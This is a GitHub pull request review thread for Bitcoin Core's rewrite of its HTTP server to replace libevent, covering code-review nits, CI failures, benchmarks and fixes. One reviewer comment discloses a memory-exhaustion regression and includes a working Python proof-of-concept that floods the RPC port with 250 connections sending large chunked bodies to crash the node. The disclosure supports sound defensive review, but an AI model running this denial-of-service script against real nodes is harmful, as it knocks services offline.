       0 | @@ -0,0 +1,12 @@
       1 | +HTTP: RPC / REST
       2 | +----------------
       3 | +
       4 | +The HTTP server has been rewritten from scratch to replace libevent. (#35182)
       5 | +
       6 | +Certain edge cases will observe different behavior to be more RFC-compliant:
       7 | +
       8 | +- Stricter limit on maximum headers size
    


    b-l-u-e commented at 9:46 PM on May 10, 2026:

    nit: maybe specify size to 8192 bytes


    pinheadmz commented at 2:40 PM on May 12, 2026:

    added this note and specified the reason

  39. 0xB10C commented at 4:12 PM on May 11, 2026: contributor

    Concept ACK. I've tested this against https://github.com/0xb10c/mainnet-observer which fetches all mainnet blocks as JSON via the REST interface. It took nearly the same time to complete on master (1af8e0c4e895ebd159304ed86ac059bebeced1f8) and this PR (2c1deb632947c617f505bd81c4ec9f8acdbda0e1).

  40. pinheadmz referenced this in commit 1bca81aa22 on May 12, 2026
  41. pinheadmz force-pushed on May 12, 2026
  42. pinheadmz commented at 3:11 PM on May 12, 2026: member

    push to 1bca81aa22c697c4b0197822b2ed01e675544bbf

    Also added a specific line in the release notes about debugexclude=libevent which will, after this PR, cause an error on startup. I discovered that during integration testing with LND and will probably be a much more common breaking change than any of the HTTP protocol stuff.

  43. DrahtBot added the label CI failed on May 12, 2026
  44. DrahtBot commented at 4:13 PM on May 12, 2026: contributor

    <!--85328a0da195eb286784d51f73fa0af9-->

    🚧 At least one of the CI tasks failed. <sub>Task test ancestor commits: https://github.com/bitcoin/bitcoin/actions/runs/25743466333/job/75600145162</sub> <sub>LLM reason (✨ experimental): CTest failed because httpserver_tests crashed with a segmentation fault (SIGSEGV).</sub>

    <details><summary>Hints</summary>

    Try to run the tests locally, according to the documentation. However, a CI failure may still happen due to a number of reasons, for example:

    • Possibly due to a silent merge conflict (the changes in this pull request being incompatible with the current code in the target branch). If so, make sure to rebase on the latest commit of the target branch.

    • A sanitizer issue, which can only be found by compiling with the sanitizer and running the affected test.

    • An intermittent issue.

    Leave a comment here, if you need help tracking down a confusing failure.

    </details>

  45. pinheadmz referenced this in commit 37ff331f60 on May 12, 2026
  46. pinheadmz force-pushed on May 12, 2026
  47. pinheadmz commented at 6:29 PM on May 12, 2026: member

    push to 37ff331f60:

    • Fix a bug caught in the ancestor commits ci test: There was a potential race condition that could trigger a use-after-free in an intermediate commit. The issue was around usage of the CloseConnection() function which is only used temporarily in the unit tests and then eventually replaced in the commit "HTTPServer: disconnect clients"
  48. DrahtBot removed the label CI failed on May 12, 2026
  49. pinheadmz referenced this in commit 2bbad2ea1b on May 15, 2026
  50. pinheadmz force-pushed on May 15, 2026
  51. pinheadmz commented at 7:10 PM on May 15, 2026: member

    Push to 2bbad2ea1b:

    Instead of removing libevent logging category, deprecate it. This requires adding new logic to deprecate logging categories:

    • always "false"
    • trying to enable or disable logs a warning
    • removed from BCLog::ALL

    in other words:

    # no change
    bitcoind -debug
    
    # logs "[warning] The logging category `libevent` is deprecated, can not be enabled, and will be removed in a future version"
    bitcoind -debug=libevent
    
    # logs "[warning] The logging category `libevent` is deprecated and will be removed in a future version"
    bitcoind -debug -debugexclude=libevent
    
    # no change
    bitcoind -debug=foo
    Error: Unsupported logging category -debug=foo.
    
    

    I imagine this will come in handy when we remove leveldb 😏

  52. in src/util/string.cpp:40 in 2bbad2ea1b outdated
      36 | @@ -37,7 +37,7 @@ std::optional<std::string> LineReader::ReadLine()
      37 |          // The \n itself does not count against max_line_length.
      38 |          if (c == '\n') {
      39 |              const std::string_view untrimmed_line(reinterpret_cast<const char*>(std::to_address(line_start)), count);
      40 | -            const std::string_view line = TrimStringView(untrimmed_line); // delete leading and trailing whitespace including \r and \n
      41 | +            const std::string_view line = TrimStringView(untrimmed_line, /*pattern=*/"\r\n"); // delete trailing CRLF
    


    hodlinator commented at 1:25 PM on May 18, 2026:

    nit:

                const std::string_view line = TrimStringView(untrimmed_line, /*pattern=*/"\r\n"); // delete surrounding CRLF
    

    pinheadmz commented at 2:54 PM on May 19, 2026:

    Had to replace this anyway because of the \r\r\n case


    hodlinator commented at 9:44 AM on June 1, 2026:

    Since we know that the last character is always '\n' if we get in this if-block, and we only check for a single-char '\r', we can simply do:

            if (c == '\n') {
                std::string_view line(reinterpret_cast<const char*>(std::to_address(line_start)), count - 1);
                if (!line.empty() && line.back() == '\r')
                    line.remove_suffix(1);
                return line;
            }
    

    https://github.com/hodlinator/bitcoin/commit/1cd28cc3847422404f8bcac9ba54c2507c20cfc0


    In my suggestion branch I also added commits to make LineReader consistently use string_view internally, feels more elegant than span iterators. But I can understand if you prefer it be done as a separate PR.

    https://github.com/hodlinator/bitcoin/commit/c09901157aa56fb97ea3767abc68afb97f4f6f20

  53. in src/httpserver.cpp:1212 in 2bbad2ea1b outdated
    1460 | +        return false;
    1461 | +    }
    1462 | +
    1463 | +    LogDebug(BCLog::HTTP, "Initialized HTTP server");
    1464 | +
    1465 | +    g_max_queue_depth = std::max((long)gArgs.GetIntArg("-rpcworkqueue", DEFAULT_HTTP_WORKQUEUE), 1L);
    


    hodlinator commented at 1:35 PM on May 18, 2026:

    Another args simplification:

        g_max_queue_depth = std::max(gArgs.GetArg<int>("-rpcworkqueue", DEFAULT_HTTP_WORKQUEUE), 1);
    

    pinheadmz commented at 6:13 PM on May 19, 2026:

    ah thanks and sorry i didn't catch this one already

  54. fanquake referenced this in commit e01e70388b on May 18, 2026
  55. pinheadmz referenced this in commit a2c3548053 on May 18, 2026
  56. pinheadmz force-pushed on May 18, 2026
  57. pinheadmz commented at 2:53 PM on May 18, 2026: member

    push to a2c3548053:

    • Cover one more edge case (bare \r in headers) found by Http11Probe, and adding complete results to PR description
  58. dergoegge commented at 3:42 PM on May 18, 2026: member

    Saw this assertion being hit during shutdown with a test running on Antithesis (while testing #34411):

    httpserver.h:193 virtual http_bitcoin::HTTPServer::~HTTPServer(): Assertion `m_connected.empty()' failed.
    

    debug.log

    antithesis.log

  59. in src/httpserver.cpp:540 in 2bbad2ea1b outdated
     636 | -    boundSockets.clear();
     637 | -    {
     638 | -        if (const auto n_connections{g_requests.CountActiveConnections()}; n_connections != 0) {
     639 | -            LogDebug(BCLog::HTTP, "Waiting for %d connections to stop HTTP server\n", n_connections);
     640 | +            if (needs_body) {
     641 | +                res.m_headers.Write("Content-Length", strprintf("%d", reply_body.size()));
    


    hodlinator commented at 5:28 PM on May 18, 2026:

    nit: Hopefully slightly more performant:

                    res.m_headers.Write("Content-Length", util::ToString(reply_body.size()));
    

    pinheadmz commented at 6:12 PM on May 19, 2026:

    👍

  60. in src/httpserver.cpp:1258 in 2bbad2ea1b outdated
    1517 | +                LogWarning("Timeout waiting for HTTP clients to disconnect gracefully, continuing shutdown");
    1518 | +                break;
    1519 | +            }
    1520 | +            std::this_thread::sleep_for(50ms);
    1521 | +            --timeout;
    1522 | +        }
    


    hodlinator commented at 5:45 PM on May 18, 2026:

    sleep_for() only guarantees that it will sleep at least the given duration^1. With things like Antithesis, time is likely intended to pass quicker for cases like these.

            const auto deadline{NodeClock::now() + 30s};
            while (g_http_server->GetConnectionsCount() != 0) {
                if (NodeClock::now() > deadline) {
                    LogWarning("Timeout waiting for HTTP clients to disconnect gracefully, continuing shutdown");
                    break;
                }
                std::this_thread::sleep_for(50ms);
            }
    

    pinheadmz commented at 6:18 PM on May 19, 2026:

    using deadline = now + 30s here

  61. pinheadmz referenced this in commit f25b2c72a5 on May 18, 2026
  62. pinheadmz force-pushed on May 18, 2026
  63. pinheadmz commented at 6:14 PM on May 18, 2026: member

    push to f25b2c72a5:

    The bug was a race condition during shutdown: in the instant between connection count reaching 0 and actually closing the listening socket, a new client could connect and get stuck in m_connected when the server was destructed, a failure state covered by the assertion suggested by @hodlinator (thanks!)

    Solution is adding an atomic_bool to stop accepting new connections at the beginning of the shutdown process.

  64. in src/test/httpserver_tests.cpp:164 in f25b2c72a5
     168 | +        util::LineReader reader{std::string_view{"X-Custom: foo\0bar\n", 18}, /*max_line_length=*/MAX_HEADERS_SIZE};
     169 | +        BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"Header contains invalid character"});
     170 | +    }
     171 | +    {
     172 | +        // contains bare \r (not followed by \n)
     173 | +        util::LineReader reader{std::string_view{"X-Custom: foo\rbar\n", 18}, /*max_line_length=*/MAX_HEADERS_SIZE};
    


    hodlinator commented at 8:10 PM on May 18, 2026:

    nit: No null terminator, so string literal is sufficient.

            util::LineReader reader{"X-Custom: foo\rbar\n", /*max_line_length=*/MAX_HEADERS_SIZE};
    

    pinheadmz commented at 2:12 PM on May 19, 2026:

    👍

  65. in src/test/httpserver_tests.cpp:166 in f25b2c72a5 outdated
     170 | +    }
     171 | +    {
     172 | +        // contains bare \r (not followed by \n)
     173 | +        util::LineReader reader{std::string_view{"X-Custom: foo\rbar\n", 18}, /*max_line_length=*/MAX_HEADERS_SIZE};
     174 | +        BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"Header contains invalid character"});
     175 | +    }
    


    hodlinator commented at 8:13 PM on May 18, 2026:

    Should this also be expected to fail or not?

        {
            // contains odd \r preceding the expected \registered\nurses
            util::LineReader reader{"X-Custom: foo\r\r\n", /*max_line_length=*/MAX_HEADERS_SIZE};
            BOOST_CHECK_EXCEPTION(HTTPHeaders{}.Read(reader), std::runtime_error, HasReason{"Header contains invalid character"});
        }
    

    pinheadmz commented at 2:27 PM on May 19, 2026:

    Heh, good catch, it should fail and this requires an update to LineReader which currently overkills with TrimStringView(). That's been updated to surgically remove \n or \r\n only.

    I checked the http11probe tests and actually this edge case (line ending with \r\r\n) is missing ;-)

  66. in src/test/httpserver_tests.cpp:205 in f25b2c72a5
     209 | +    HTTPResponse res;
     210 | +    res.m_version_major = 1;
     211 | +    res.m_version_minor = 1;
     212 | +    res.m_status = HTTP_OK;
     213 | +    res.m_reason = HTTPStatusReasonString(res.m_status);
     214 | +    std::span result{std::as_bytes(std::span{std::string_view{R"({"result":865793,"error":null,"id":null})"}})};
    


    hodlinator commented at 8:38 PM on May 18, 2026:

    nit: Apparently span lets us peel away one intermediate type:

        std::span result{std::as_bytes(std::span{R"({"result":865793,"error":null,"id":null})"})};
    

    pinheadmz commented at 2:43 PM on May 19, 2026:

    👍

  67. in src/test/httpserver_tests.cpp:197 in f25b2c72a5
     201 | +
     202 | +BOOST_AUTO_TEST_CASE(http_response_tests)
     203 | +{
     204 | +    // Typical HTTP 1.1 response headers
     205 | +    HTTPHeaders headers{};
     206 | +    headers.Write("Content-Length", "41");
    


    hodlinator commented at 8:53 PM on May 18, 2026:

    Instead of hardcoding this in 2 places we could do:

        const std::span body{std::as_bytes(std::span{R"({"result":865793,"error":null,"id":null})"})};
        // Typical HTTP 1.1 response headers
        HTTPHeaders headers{};
        headers.Write("Content-Length", util::ToString(body.size()));
        ...
        res.m_body.assign(body.begin(), body.end());
    

    That makes 41 be a calculated value in the first case, and also makes the renamed body data actually be used in this function.


    pinheadmz commented at 2:42 PM on May 19, 2026:

    yes, using calculated content length value here

  68. in src/httpserver.cpp:484 in f25b2c72a5 outdated
     565 | +        // We read all the chunks but never got the last chunk, wait for client to send more
     566 | +        return false;
     567 | +    } else {
     568 | +        // No Content-length or Transfer-Encoding header means no body, see libevent evhttp_get_body()
     569 | +        auto content_length_values{m_headers.FindAll("Content-Length")};
     570 | +        if (content_length_values.empty()) return true;
    


    hodlinator commented at 9:01 PM on May 18, 2026:

    In #34342 the lack of Transfer-Encoding and Content-Length has the client instead load all data into the body until EOF from the socket. Why should the server behavior not be consistent? - Is the new client wrong to do that? I guess it's HTTP 1.0 behavior and we only support HTTP 1.1 in the server?


    pinheadmz commented at 6:10 PM on May 19, 2026:

    Interesting, I hadn't noticed that on the client side but in fact yes according to the HTTP 1.1 RFC, client and server behave differently:

    https://httpwg.org/specs/rfc9112.html#rfc.section.6.3

    If this is a request message and none of the above are true, then the message body length is zero (no message body is present).

    Otherwise, this is a response message without a declared message body length, so the message body length is determined by the number of octets received prior to the server closing the connection.

    As far as I can tell in the 30-year-old HTTP 1.0 spec, Content-Length is also required for any request body:

    https://www.rfc-editor.org/rfc/rfc1945#section-10.4

    A valid Content-Length field value is required on all HTTP/1.0 request messages containing an entity body.


    hodlinator commented at 9:33 AM on June 1, 2026:

    Okay, so the top quote applies to what the client should do in order to be interoperable with ancient servers and the bottom one how the server should behave. :+1:

  69. in src/httpserver.h:197 in f25b2c72a5
     245 |  
     246 | -    /** Get request method.
     247 | +    explicit HTTPServer(std::function<void(std::unique_ptr<HTTPRequest>&&)> func)
     248 | +    {
     249 | +        SetRequestHandler(std::move(func));
     250 | +    }
    


    hodlinator commented at 9:23 PM on May 18, 2026:

    nit: It's fine to not protect members by locking mutexes in the constructor as no outer context has access to the object until the constructor completes:

        explicit HTTPServer(std::function<void(std::unique_ptr<HTTPRequest>&&)> func)
            : m_request_dispatcher{std::move(func)} {}
    

    pinheadmz commented at 6:27 PM on May 19, 2026:

    ok i'll take out the helper function in the constructor. I thought it provided a readability or code-grepping advantage but you're right, avoiding an unecessary lock makes more sense.

  70. in src/httpserver.h:429 in f25b2c72a5
     524 | +std::optional<std::string> GetQueryParameterFromUri(std::string_view uri, std::string_view key);
     525 |  
     526 | -/** Event class. This can be used either as a cross-thread trigger or as a timer.
     527 | - */
     528 | -class HTTPEvent
     529 | +class HTTPClient
    


    hodlinator commented at 9:26 PM on May 18, 2026:

    nit: How about renaming this to disambiguate it further from #34342's HTTPClient?

    class HTTPRemoteClient
    

    ...or move it into the HTTPServer scope - HTTPServer::Client? ...or have a bitcoin_http_server namespace?


    pinheadmz commented at 6:46 PM on May 19, 2026:

    Heh you're right, I didn't want to but it makes sense to rename it to HTTPRemoteClient so there can be a HTTPLocalClient on the other end.

  71. in src/httpserver.h:53 in f25b2c72a5 outdated
      65 | -void StartHTTPServer();
      66 | -/** Interrupt HTTP server threads */
      67 | -void InterruptHTTPServer();
      68 | -/** Stop HTTP server */
      69 | -void StopHTTPServer();
      70 | +namespace http_bitcoin {
    


    hodlinator commented at 7:41 AM on May 19, 2026:

    IMO this should be bitcoin_http. It's the Bitcoin (Core) implementation of HTTP protocol, not an implementation of the bitcoin-parts of the HTTP protocol. So parent directory describing the local project + subdirectory describing a subdomain feels more natural.


    pinheadmz commented at 6:23 PM on May 19, 2026:

    In the intermediate commits, the use of namespaces is just to differentiate between the two http implementations...

    • http_libevent
    • http_bitcoin ...because both namespaces have classes like HTTPRequest

    Otherwise I see your point. Also, by the end of the PR there's no need to have "bitcoin" in the name at all (it's in the repository name!). Or for that matter since there is only one HTTP implementation at the end, the namespace could probably be removed entirely.

    I'll leave as-is for now to see if you prefer removing the namespace entirely at the very end or just letting it ride.


    hodlinator commented at 9:48 AM on June 1, 2026:

    Okay, yeah, I understand it's messy to re-do now. Removing the namespace at the end would be nice!

  72. in doc/release-notes-35182.md:14 in f25b2c72a5
       9 | +
      10 | +Certain HTTP edge cases will observe different behavior to be more RFC-compliant:
      11 | +
      12 | +- Stricter enforcement of maximum headers size (8192 bytes)
      13 | +- Reject requests with whitespace in headers field-names
      14 | +- "Line Folding" is rejected (whitespace at start of a headers line)
    


    hodlinator commented at 9:31 AM on May 19, 2026:

    More correct in singular form?

    - Reject requests with whitespace in header field-names
    - "Line Folding" is rejected (whitespace at start of a header line)
    

    pinheadmz commented at 1:55 PM on May 19, 2026:

    👍

  73. in src/httpserver.cpp:121 in f25b2c72a5
     127 | +        using enum HTTPRequestMethod;
     128 | +        case GET: return "GET";
     129 | +        case POST: return "POST";
     130 | +        case HEAD: return "HEAD";
     131 | +        case PUT: return "PUT";
     132 | +        case UNKNOWN: return "unknown";
    


    hodlinator commented at 9:40 AM on May 19, 2026:

    nanonit: Seems more common to align case indent with switch. Maybe using enum part could be moved outside switch if decreasing its indentation feels wrong?

        using enum HTTPRequestMethod;
        case GET: return "GET";
        case POST: return "POST";
        case HEAD: return "HEAD";
        case PUT: return "PUT";
        case UNKNOWN: return "unknown";
    

    pinheadmz commented at 2:55 PM on May 19, 2026:

    👍

  74. in src/logging/categories.h:54 in f25b2c72a5
      50 | +    // Remove deprecated categories from ALL
      51 | +    ALL = ~(LIBEVENT),
      52 |  };
      53 |  
      54 | +constexpr CategoryMask DEPRECATED_CATEGORIES =
      55 | +    NONE | LIBEVENT;
    


    hodlinator commented at 9:45 AM on May 19, 2026:

    nit: Could be made less repetitive?

        DEPRECATED = LIBEVENT,
        // Remove deprecated categories from ALL
        ALL = ~(DEPRECATED),
    };
    

    pinheadmz commented at 2:06 PM on May 19, 2026:

    Ah thanks, taking this. I was avoiding adding a new category to this list that wouldn't have a corresponding string, but that's not actually enforced anywhere, so this is cleaner.

  75. in src/httpserver.cpp:305 in f25b2c72a5
     356 | +    // Headers https://httpwg.org/specs/rfc9110.html#rfc.section.6.3
     357 | +    // A sequence of Field Lines https://httpwg.org/specs/rfc9110.html#rfc.section.5.2
     358 | +    while (auto maybe_line = reader.ReadLine()) {
     359 | +        if (reader.Consumed() > MAX_HEADERS_SIZE) throw std::runtime_error("HTTP headers exceed size limit");
     360 | +
     361 | +        const std::string& line = *maybe_line;
    


    hodlinator commented at 11:51 AM on May 19, 2026:

    Noticed the PR description states:

    There appears to be a 1-2% slow down on Ubuntu and MacOS but a 5% speed up on Windows

    I've been experimenting with making LineReader return string_view instead and it seems to deliver an almost 1% speed up (not much, but pretty clear signal).

    Benchmarking approach

    exercise REST interface which hopefully doesn't actually do much, since we are more interested in measuring the overhead.

    ./build/bin/bitcoind -rest -noconnect
    
    hey -n 5000000 -c 14 -cpus 14 http://127.0.0.1:8332/rest/headers/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f.bin?count=1
    

    string_view results

    Total: 54.0753 secs Total: 54.0719 secs Total: 53.9186 secs

    string results

    Total: 54.4270 secs Total: 54.4189 secs Total: 54.3816 secs

    <details><summary>string_view LineReader diff</summary>

    diff --git a/src/httpserver.cpp b/src/httpserver.cpp
    index db45d31f21..ab02b6fe8f 100644
    --- a/src/httpserver.cpp
    +++ b/src/httpserver.cpp
    @@ -35,6 +35,7 @@
     #include <optional>
     #include <span>
     #include <string>
    +#include <string_view>
     #include <thread>
     #include <unordered_map>
     #include <vector>
    @@ -306,7 +307,7 @@ bool HTTPHeaders::Read(util::LineReader& reader)
         while (auto maybe_line = reader.ReadLine()) {
             if (reader.Consumed() > MAX_HEADERS_SIZE) throw std::runtime_error("HTTP headers exceed size limit");
     
    -        const std::string& line = *maybe_line;
    +        const std::string_view& line = *maybe_line;
     
             // An empty line indicates end of the headers section https://www.rfc-editor.org/rfc/rfc2616#section-4
             if (line.empty()) return true;
    @@ -317,18 +318,18 @@ bool HTTPHeaders::Read(util::LineReader& reader)
             // within any protocol elements other than the content.
             // A recipient of such a bare CR MUST consider that element to be invalid...
             // https://httpwg.org/specs/rfc9112.html#rfc.section.2.2
    -        if (line.find_first_of("\r\n\0", 0, 3) != std::string::npos) throw std::runtime_error("Header contains invalid character");
    +        if (line.find_first_of("\r\n\0", 0, 3) != std::string_view::npos) throw std::runtime_error("Header contains invalid character");
     
             // Header line must have at least one ":"
             // keys are not allowed to have delimiters like ":" but values are
             // https://httpwg.org/specs/rfc9110.html#rfc.section.5.6.2
             const size_t pos{line.find(':')};
    -        if (pos == std::string::npos) throw std::runtime_error("HTTP header missing colon (:)");
    +        if (pos == std::string_view::npos) throw std::runtime_error("HTTP header missing colon (:)");
     
             // Whitespace is strictly not allowed in the field-name (key)
             // https://www.rfc-editor.org/rfc/rfc9110.html#section-5.6.2
    -        std::string key = line.substr(0, pos);
    -        if (key.find_first_of(" \t") != std::string::npos) throw std::runtime_error("Invalid header field-name contains whitespace");
    +        std::string_view key = line.substr(0, pos);
    +        if (key.find_first_of(" \t") != std::string_view::npos) throw std::runtime_error("Invalid header field-name contains whitespace");
             // Whitespace is optional in the value and can be trimmed
             std::string value = util::TrimString(std::string_view(line).substr(pos + 1));
     
    @@ -337,7 +338,7 @@ bool HTTPHeaders::Read(util::LineReader& reader)
             // that can not be empty.
             if (key.empty()) throw std::runtime_error("Empty HTTP header name");
     
    -        Write(std::move(key), std::move(value));
    +        Write(std::string(key), std::move(value));
         }
     
         return false;
    @@ -365,7 +366,7 @@ bool HTTPRequest::LoadControlData(LineReader& reader)
     {
         auto maybe_line = reader.ReadLine();
         if (!maybe_line) return false;
    -    const std::string& request_line = *maybe_line;
    +    const std::string_view& request_line = *maybe_line;
     
         // Request Line aka Control Data https://httpwg.org/specs/rfc9110.html#rfc.section.6.2
         // Three words separated by spaces, terminated by \n or \r\n
    @@ -373,7 +374,7 @@ bool HTTPRequest::LoadControlData(LineReader& reader)
     
         // "Field values containing CR, LF, or NUL characters are invalid and dangerous"
         // https://httpwg.org/specs/rfc9110.html#rfc.section.5.5
    -    if (request_line.find('\0') != std::string::npos) throw std::runtime_error("Invalid request line contains NUL");
    +    if (request_line.find('\0') != std::string_view::npos) throw std::runtime_error("Invalid request line contains NUL");
     
         const std::vector<std::string_view> parts{Split<std::string_view>(request_line, " ")};
         if (parts.size() != 3) throw std::runtime_error("HTTP request line malformed");
    diff --git a/src/torcontrol.cpp b/src/torcontrol.cpp
    index 0893596d37..8c5357938a 100644
    --- a/src/torcontrol.cpp
    +++ b/src/torcontrol.cpp
    @@ -191,7 +191,7 @@ bool TorControlConnection::ProcessBuffer()
             // Parse: <code><separator><data>
             // <status>(-|+| )<data>
             m_message.code = ToIntegral<int>(line->substr(0, 3)).value_or(0);
    -        m_message.lines.push_back(line->substr(4));
    +        m_message.lines.emplace_back(line->substr(4));
             char separator = (*line)[3]; // '-', '+', or ' '
     
             if (separator == ' ') {
    diff --git a/src/util/string.cpp b/src/util/string.cpp
    index 3a2cfbdd65..34b6fa5521 100644
    --- a/src/util/string.cpp
    +++ b/src/util/string.cpp
    @@ -20,7 +20,7 @@ void ReplaceAll(std::string& in_out, const std::string& search, const std::strin
     LineReader::LineReader(std::span<const std::byte> buffer, size_t max_line_length)
         : start(buffer.begin()), end(buffer.end()), max_line_length(max_line_length), it(buffer.begin()) {}
     
    -std::optional<std::string> LineReader::ReadLine()
    +std::optional<std::string_view> LineReader::ReadLine()
     {
         if (it == end) {
             return std::nullopt;
    @@ -37,8 +37,7 @@ std::optional<std::string> LineReader::ReadLine()
             // The \n itself does not count against max_line_length.
             if (c == '\n') {
                 const std::string_view untrimmed_line(reinterpret_cast<const char*>(std::to_address(line_start)), count);
    -            const std::string_view line = TrimStringView(untrimmed_line, /*pattern=*/"\r\n"); // delete trailing CRLF
    -            return std::string(line);
    +            return TrimStringView(untrimmed_line, /*pattern=*/"\r\n"); // delete trailing CRLF
             }
             // If the character we just consumed gives us a line length greater
             // than max_line_length, and we are not at the end of the line (or buffer) yet,
    @@ -57,11 +56,11 @@ std::optional<std::string> LineReader::ReadLine()
     }
     
     // Ignores max_line_length but won't overflow
    -std::string LineReader::ReadLength(size_t len)
    +std::string_view LineReader::ReadLength(size_t len)
     {
    -    if (len == 0) return "";
    +    if (len == 0) return std::string_view{};
         if (Remaining() < len) throw std::runtime_error("Not enough data in buffer");
    -    std::string out(reinterpret_cast<const char*>(std::to_address(it)), len);
    +    std::string_view out(reinterpret_cast<const char*>(std::to_address(it)), len);
         it += len;
         return out;
     }
    diff --git a/src/util/string.h b/src/util/string.h
    index da4ce5a33a..c2fc5021a3 100644
    --- a/src/util/string.h
    +++ b/src/util/string.h
    @@ -280,7 +280,7 @@ struct LineReader {
          *          std::nullopt if end of buffer is reached without finding a \n.
          * [@throws](/bitcoin-bitcoin/contributor/throws/) a std::runtime_error if max_line_length + 1 bytes are read without finding \n.
          */
    -    std::optional<std::string> ReadLine();
    +    std::optional<std::string_view> ReadLine();
     
         /**
          * Returns string from current iterator position of specified length
    @@ -290,7 +290,7 @@ struct LineReader {
          * [@returns](/bitcoin-bitcoin/contributor/returns/) a string of the expected length.
          * [@throws](/bitcoin-bitcoin/contributor/throws/) a std::runtime_error if there is not enough data in the buffer.
          */
    -    std::string ReadLength(size_t len);
    +    std::string_view ReadLength(size_t len);
     
         /**
          * Returns remaining size of bytes in buffer
    

    </details>


    pinheadmz commented at 3:14 PM on May 19, 2026:

    ahh nice ok. I'll add to this PR as a pre-factor commit and we can open a separate PR with it to move things along.

  76. hodlinator commented at 12:18 PM on May 19, 2026: contributor

    Stared at f25b2c72a5694b843beef054d262fef649aa04ca for a bit.

  77. janb84 commented at 7:33 PM on May 19, 2026: contributor

    The dynamic duo has returned, we now teamed up with grok.

    Sorry @pinheadmz, I think the PR is close but "we" found still some regression to crash the node:.

    **Disclaimer: found using vuln. discovery with claude and grok. ( manually checked/ POC creation) ** ** Disclaimer 2: error does not occur on master so POC is harmless to disclose **

    The regression is of type CWE-400 - Uncontrolled Resource Consumption

    There is no limit on the number of concurrent connections (m_connected vector in httpserver.cpp). Combined with the fact that the IP allow-list check (ClientAllowed()) is only performed after fully reading and buffering a request body of up to 32 MiB (MAX_BODY_SIZE), an (un-allowed / unauthorized) remote attacker can exhaust the node's memory by opening many connections and sending large requests.

    There is also a slow-loris style possible attack, possible.

    I have tried several options how to solve these issues, but in the end I got some inspiration form NGINX, they introduce a state-machine to handle the connection state. All suggestions are working towards introducing that and resolving the issues during the different states.

    Due to the number of changes (statemachine introduction) please see https://github.com/bitcoin/bitcoin/commit/9d566b2f030dca3171a27af8cb1c1b4c48cbe3f4 for my suggestion of changes to fix the OOM issues.

    <details> <summary>PoC</summary>

    Start the node with limited memory:

    systemd-run --user --scope -p MemoryMax=2G -p MemorySwapMax=0 ./bitcoind -regtest -debug=net -debug=http
    

    run the PoC:

    <details>

    #!/usr/bin/env python3
    import socket
    import time
    import threading
    import sys
    
    TARGET_HOST = "127.0.0.1"
    TARGET_PORT = 18443  # regtest 
    BODY_SIZE = 30 * 1024 * 1024        # 30 MiB - safe under limit
    NUM_CONNECTIONS = 250
    CHUNK_SIZE = 512 * 1024             # 512 KB chunks
    
    def send_large_chunked_request(conn_id):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(60)
            sock.connect((TARGET_HOST, TARGET_PORT))
    
            headers = (
                f"POST / HTTP/1.1\r\n"
                f"Host: {TARGET_HOST}\r\n"
                f"Content-Type: application/json\r\n"
                f"Transfer-Encoding: chunked\r\n"
                f"Connection: close\r\n"
                f"\r\n"
            ).encode()
    
            sock.sendall(headers)
    
            sent = 0
            while sent < BODY_SIZE:
                remaining = BODY_SIZE - sent
                this_chunk = min(CHUNK_SIZE, remaining)
                data = b"X" * this_chunk
    
                sock.sendall(f"{this_chunk:x}\r\n".encode())
                sock.sendall(data)
                sock.sendall(b"\r\n")
    
                sent += this_chunk
    
                if sent % (5 * 1024 * 1024) == 0:
                    print(f"Conn {conn_id:2d}: Sent {sent // (1024*1024):3d} MiB")
    
            sock.sendall(b"0\r\n\r\n")
    
            sock.close()
        except Exception as e:
            print(f"Conn {conn_id:2d}: Error {e}")
    
    def main():
        print(f"Starting {NUM_CONNECTIONS} conns")
        threads = []
    
        for i in range(NUM_CONNECTIONS):
            t = threading.Thread(target=send_large_chunked_request, args=(i,))
            t.daemon = True
            t.start()
            threads.append(t)
            time.sleep(0.15)       
    
        print(f"All {NUM_CONNECTIONS} threads launched. ")
    
        try:
            while True:
                time.sleep(5)
                # Keep script alive
                pass
        except KeyboardInterrupt:
            print("\nStopping...")
    
    if __name__ == "__main__":
        main()
    

    </details>

    This will result in a OOM

    To monitor OOM progression:

     watch -n 1 'ps -p $(pidof bitcoind) -o rss,vsz,pmem'
    

    </details>

  78. pinheadmz referenced this in commit 0edada45c7 on May 19, 2026
  79. pinheadmz force-pushed on May 19, 2026
  80. pinheadmz commented at 11:26 PM on May 19, 2026: member

    push to 0edada45c70a02fde343b6a02144fdc34d1eae65

    • Address review from @hodlinator, mostly nits and small improvements. Biggest change is renaming HTTPClient to HTTPRemoteClient and using string_view in LineReader which can may be split off into another PR. @janb84 I see you and grok-claude found something, will address that next ;-)
  81. DrahtBot added the label CI failed on May 20, 2026
  82. DrahtBot commented at 12:18 AM on May 20, 2026: contributor

    <!--85328a0da195eb286784d51f73fa0af9-->

    🚧 At least one of the CI tasks failed. <sub>Task test ancestor commits: https://github.com/bitcoin/bitcoin/actions/runs/26131449333/job/76857252372</sub> <sub>LLM reason (✨ experimental): CTest failed due to failing unit tests in util_string_tests (line_reader_test), where ReadLine() returned incorrect (corrupted) output.</sub>

    <details><summary>Hints</summary>

    Try to run the tests locally, according to the documentation. However, a CI failure may still happen due to a number of reasons, for example:

    • Possibly due to a silent merge conflict (the changes in this pull request being incompatible with the current code in the target branch). If so, make sure to rebase on the latest commit of the target branch.

    • A sanitizer issue, which can only be found by compiling with the sanitizer and running the affected test.

    • An intermittent issue.

    Leave a comment here, if you need help tracking down a confusing failure.

    </details>

  83. pinheadmz referenced this in commit 2c4a01bace on May 20, 2026
  84. pinheadmz force-pushed on May 20, 2026
  85. pinheadmz commented at 12:24 AM on May 20, 2026: member

    push to 2c4a01bace

    • fix rebase error that broke CI ancestor commit test
  86. DrahtBot removed the label CI failed on May 20, 2026
  87. in test/functional/interface_http.py:563 in 80a4c761f0 outdated
     558 | +
     559 | +    def check_whitespace_in_headers(self):
     560 | +        # Extra whitespace before colon in header.
     561 | +        # This request should be rejected entirely but libevent handles it oddly:
     562 | +        # It allows the header and includes the trailing space in the header field-name.
     563 | +        # Authorization fails becuase "Authorization " != "Authorization"
    


    fjahr commented at 8:37 PM on May 20, 2026:

    in 80a4c761f015e631d5e72b4560f8f79c8f29e386:

    nit: becuase -> because


    pinheadmz commented at 6:30 PM on May 22, 2026:

    👍

  88. in test/functional/interface_http.py:445 in 80a4c761f0 outdated
     440 | +    def check_disallowed_http_methods(self):
